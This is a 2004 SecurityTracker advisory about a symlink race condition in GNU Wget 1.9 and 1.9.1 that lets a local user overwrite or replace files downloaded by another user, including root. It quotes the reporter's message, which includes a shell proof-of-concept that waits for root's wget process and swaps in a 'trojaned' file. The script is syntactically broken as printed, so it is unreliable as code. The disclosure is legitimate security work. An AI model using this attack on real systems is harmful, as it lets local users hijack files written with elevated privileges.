Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Web Browser)  >   wget Vendors:   GNU [multiple authors]
Wget May Overwrite Files in Certain Cases and Allow a Local User to Gain Elevated Privileges
SecurityTracker Alert ID:  1010170
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 17 2004
Impact:   Modification of system information, Modification of user information
Exploit Included:  Yes  
Version(s): 1.9, 1.9.1
Description:   A file access vulnerability was reported in Wget. A local user may be able to cause the target user's Wget application to create or overwrite files in certain cases.

Hugo Vazquez Carames reported that if Wget is invoked to download to a filename that already exists, the application will write to a different file name. A local user can reportedly create a symbolic link (symlink) from a critical file on the system to a filename likely to be used by Wget. Then, when a target user attempts to download to a file that already exists and Wget selects a modified file name, the symlinked file will be overwritten with the privileges of the target user.

A demonstration exploit is provided in the Source Message.

Impact:   A local user may be able to cause the target user to create or overwrite a file on the system.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Access control error, State error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  Wget race condition vulnerability

Tested software: Wget 1.9, Wget 1.9.1

Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves
 the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's
 a window time where Wget is exposed to a symlink attack
(only on world writable directories)

This is the attack sequence:

1) Wget process starts
2) File checking (but not locking!)
              <--- attacker creates symlink
3) Wget writes on the wrong place

As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking". 

1)Open a shell and execute with user A.
2)Open another shell and with root user launch wget from /tmp:
3) Check the content of /tmp/patch-2.4.26.bz2

Smile :-)

--------------- ------------------------

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
   ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
   a=`cat salida.txt`

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
while [ "$c" == 1 ]
  if [ -e .wget ]
    echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
    rm -f /tmp/patch-2.4.26.bz2
    echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

    ls -la /tmp/patch-2.4.26.bz2

  b=`pgrep -u root wget`
  touch $b.wget




This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC